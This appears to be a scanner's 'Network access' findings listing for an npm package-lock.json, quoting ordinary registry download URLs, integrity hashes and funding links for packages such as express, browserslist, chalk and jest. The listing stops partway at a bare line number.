  • Network accessline 2134
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 2135
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 2136
    "url": "https://opencollective.com/express"
  • Network accessline 2139
    "node_modules/body-parser/node_modules/iconv-lite": {       "version": "0.7.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",
  • Network accessline 2140
    "version": "0.7.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",       "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==",
  • Network accessline 2141
    "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",
  • Network accessline 2152
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 2153
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 2154
    "url": "https://opencollective.com/express"
  • Network accessline 2157
    "node_modules/brace-expansion": {       "version": "1.1.14",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
  • Network accessline 2158
    "version": "1.1.14",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",       "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
  • Network accessline 2159
    "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
  • Network accessline 2168
    "node_modules/braces": {       "version": "3.0.3",       "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
  • Network accessline 2169
    "version": "3.0.3",       "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",       "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
  • Network accessline 2170
    "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
  • Network accessline 2181
    "node_modules/browserslist": {       "version": "4.28.2",       "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz",
  • Network accessline 2182
    "version": "4.28.2",       "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz",       "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==",
  • Network accessline 2183
    "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz",
  • Network accessline 2187
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 2188
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 2189
    "url": "https://opencollective.com/browserslist"
  • Network accessline 2191
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 2192
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"         },
  • Network accessline 2193
    "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 2195
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 2196
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 2197
    "url": "https://github.com/sponsors/ai"
  • Network accessline 2215
    "node_modules/bser": {       "version": "2.1.1",       "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
  • Network accessline 2216
    "version": "2.1.1",       "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",       "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
  • Network accessline 2217
    "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
  • Network accessline 2225
    "node_modules/buffer-from": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
  • Network accessline 2226
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",       "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
  • Network accessline 2227
    "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
  • Network accessline 2232
    "node_modules/bytes": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
  • Network accessline 2233
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",       "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
  • Network accessline 2234
    "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
  • Network accessline 2243
    "node_modules/call-bind-apply-helpers": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
  • Network accessline 2244
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",       "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuM
  • Network accessline 2245
    "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
  • Network accessline 2257
    "node_modules/call-bound": {       "version": "1.0.4",       "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
  • Network accessline 2258
    "version": "1.0.4",       "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",       "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
  • Network accessline 2259
    "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
  • Network accessline 2270
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2271
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 2272
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 2275
    "node_modules/callsites": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
  • Network accessline 2276
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",       "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
  • Network accessline 2277
    "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
  • Network accessline 2285
    "node_modules/camelcase": {       "version": "5.3.1",       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
  • Network accessline 2286
    "version": "5.3.1",       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",       "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
  • Network accessline 2287
    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
  • Network accessline 2295
    "node_modules/caniuse-lite": {       "version": "1.0.30001791",       "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001791.tgz",
  • Network accessline 2296
    "version": "1.0.30001791",       "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001791.tgz",       "integrity": "sha512-yk0l/YSrOnFZk3UROpDLQD9+kC1l4meK/wed583AXrzoarMGJcbRi2Q4RaUYbKxYAsZ8sWmaSa/DsLmdBeI1vQ==",
  • Network accessline 2297
    "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001791.tgz",
  • Network accessline 2301
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 2302
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 2303
    "url": "https://opencollective.com/browserslist"
  • Network accessline 2305
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
  • Network accessline 2306
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/caniuse-lite"         },
  • Network accessline 2307
    "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
  • Network accessline 2309
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 2310
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 2311
    "url": "https://github.com/sponsors/ai"
  • Network accessline 2316
    "node_modules/chalk": {       "version": "4.1.2",       "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
  • Network accessline 2317
    "version": "4.1.2",       "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",       "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
  • Network accessline 2318
    "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
  • Network accessline 2328
    },       "funding": {         "url": "https://github.com/chalk/chalk?sponsor=1"
  • Network accessline 2329
    "funding": {         "url": "https://github.com/chalk/chalk?sponsor=1"       }
  • Network accessline 2330
    "url": "https://github.com/chalk/chalk?sponsor=1"
  • Network accessline 2333
    "node_modules/char-regex": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
  • Network accessline 2334
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",       "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==",
  • Network accessline 2335
    "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
  • Network accessline 2343
    "node_modules/ci-info": {       "version": "3.9.0",       "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
  • Network accessline 2344
    "version": "3.9.0",       "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",       "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
  • Network accessline 2345
    "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
  • Network accessline 2349
    {           "type": "github",           "url": "https://github.com/sponsors/sibiraj-s"
  • Network accessline 2350
    "type": "github",           "url": "https://github.com/sponsors/sibiraj-s"         }
  • Network accessline 2351
    "url": "https://github.com/sponsors/sibiraj-s"
  • Network accessline 2359
    "node_modules/cjs-module-lexer": {       "version": "1.4.3",       "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz",
  • Network accessline 2360
    "version": "1.4.3",       "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz",       "integrity": "sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==",
  • Network accessline 2361
    "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz",
  • Network accessline 2366
    "node_modules/cliui": {       "version": "8.0.1",       "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
  • Network accessline 2367
    "version": "8.0.1",       "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",       "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
  • Network accessline 2368
    "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
  • Network accessline 2381
    "node_modules/co": {       "version": "4.6.0",       "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
  • Network accessline 2382
    "version": "4.6.0",       "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",       "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==",
  • Network accessline 2383
    "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
  • Network accessline 2392
    "node_modules/collect-v8-coverage": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz",
  • Network accessline 2393
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz",       "integrity": "sha512-1L5aqIkwPfiodaMgQunkF1zRhNqifHBmtbbbxcr6yVxxBnliw4TDOW6NxpO8DJLgJ16OT+Y4ztZqP6p/FtXnAw==",
  • Network accessline 2394
    "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz",
  • Network accessline 2399
    "node_modules/color-convert": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
  • Network accessline 2400
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",       "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
  • Network accessline 2401
    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
  • Network accessline 2412
    "node_modules/color-name": {       "version": "1.1.4",       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
  • Network accessline 2413
    "version": "1.1.4",       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",       "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
  • Network accessline 2414
    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
  • Network accessline 2419
    "node_modules/combined-stream": {       "version": "1.0.8",       "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
  • Network accessline 2420
    "version": "1.0.8",       "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",       "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
  • Network accessline 2421
    "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
  • Network accessline 2432
    "node_modules/concat-map": {       "version": "0.0.1",       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
  • Network accessline 2433
    "version": "0.0.1",       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",       "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
  • Network accessline 2434
    "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
  • Network accessline 2439
    "node_modules/content-disposition": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz",
  • Network accessline 2440
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz",       "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==",
  • Network accessline 2441
    "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz",
  • Network accessline 2449
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 2450
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 2451
    "url": "https://opencollective.com/express"
  • Network accessline 2454
    "node_modules/content-type": {       "version": "1.0.5",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
  • Network accessline 2455
    "version": "1.0.5",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",       "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
  • Network accessline 2456
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
  • Network accessline 2465
    "node_modules/convert-source-map": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
  • Network accessline 2466
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",       "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
  • Network accessline 2467
    "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
  • Network accessline 2472
    "node_modules/cookie": {       "version": "0.7.2",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
  • Network accessline 2473
    "version": "0.7.2",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",       "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
  • Network accessline 2474
    "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
  • Network accessline 2483
    "node_modules/cookie-signature": {       "version": "1.2.2",       "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",
  • Network accessline 2484
    "version": "1.2.2",       "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",       "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==",
  • Network accessline 2485
    "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",
  • Network accessline 2494
    "node_modules/cors": {       "version": "2.8.6",       "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",
  • Network accessline 2495
    "version": "2.8.6",       "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",       "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==",
  • Network accessline 2496
    "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",
  • Network accessline 2508
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 2509
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 2510
    "url": "https://opencollective.com/express"
  • Network accessline 2513
    "node_modules/create-jest": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz",
  • Network accessline 2514
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz",       "integrity": "sha512-Adz2bdH0Vq3F53KEMJOoftQFutWCukm6J24wbPWRO4k1kMY7gS7ds/uoJkNuV8wDCtWWnuwGcJwpWcih+zEW1Q==",
  • Network accessline 2515
    "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz",
  • Network accessline 2535
    "node_modules/cross-spawn": {       "version": "7.0.6",       "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
  • Network accessline 2536
    "version": "7.0.6",       "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",       "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
  • Network accessline 2537
    "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
  • Network accessline 2550
    "node_modules/cssstyle": {       "version": "4.6.0",       "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz",
  • Network accessline 2551
    "version": "4.6.0",       "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz",       "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==",
  • Network accessline 2552
    "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz",
  • Network accessline 2564
    "node_modules/cssstyle/node_modules/rrweb-cssom": {       "version": "0.8.0",       "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz",
  • Network accessline 2565
    "version": "0.8.0",       "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz",       "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==",
  • Network accessline 2566
    "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz",
  • Network accessline 2571
    "node_modules/data-urls": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz",
  • Network accessline 2572
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz",       "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==",
  • Network accessline 2573
    "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz",
  • Network accessline 2585
    "node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 2586
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 2587
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 2603
    "node_modules/decimal.js": {       "version": "10.6.0",       "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
  • Network accessline 2604
    "version": "10.6.0",       "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",       "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
  • Network accessline 2605
    "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
  • Network accessline 2610
    "node_modules/dedent": {       "version": "1.7.2",       "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz",
  • Network accessline 2611
    "version": "1.7.2",       "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz",       "integrity": "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA==",
  • Network accessline 2612
    "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz",
  • Network accessline 2625
    "node_modules/deepmerge": {       "version": "4.3.1",       "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
  • Network accessline 2626
    "version": "4.3.1",       "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",       "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
  • Network accessline 2627
    "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
  • Network accessline 2635
    "node_modules/delayed-stream": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
  • Network accessline 2636
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",       "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
  • Network accessline 2637
    "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
  • Network accessline 2645
    "node_modules/depd": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
  • Network accessline 2646
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",       "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
  • Network accessline 2647
    "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
  • Network accessline 2656
    "node_modules/detect-newline": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
  • Network accessline 2657
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",       "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==",
  • Network accessline 2658
    "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
  • Network accessline 2666
    "node_modules/diff-sequences": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz",
  • Network accessline 2667
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz",       "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==",
  • Network accessline 2668
    "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz",
  • Network accessline 2676
    "node_modules/dunder-proto": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
  • Network accessline 2677
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",       "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
  • Network accessline 2678
    "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
  • Network accessline 2691
    "node_modules/ee-first": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
  • Network accessline 2692
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",       "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
  • Network accessline 2693
    "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
  • Network accessline 2699
    "node_modules/electron-to-chromium": {       "version": "1.5.344",       "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.344.tgz",
  • Network accessline 2700
    "version": "1.5.344",       "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.344.tgz",       "integrity": "sha512-4MxfbmNDm+KPh066EZy+eUnkcDPcZ35wNmOWzFuh/ijvHsve6kbLTLURy88uCNK5FbpN+yk2nQY6BYh1GEt+wg=
  • Network accessline 2701
    "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.344.tgz",
  • Network accessline 2706
    "node_modules/emittery": {       "version": "0.13.1",       "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz",
  • Network accessline 2707
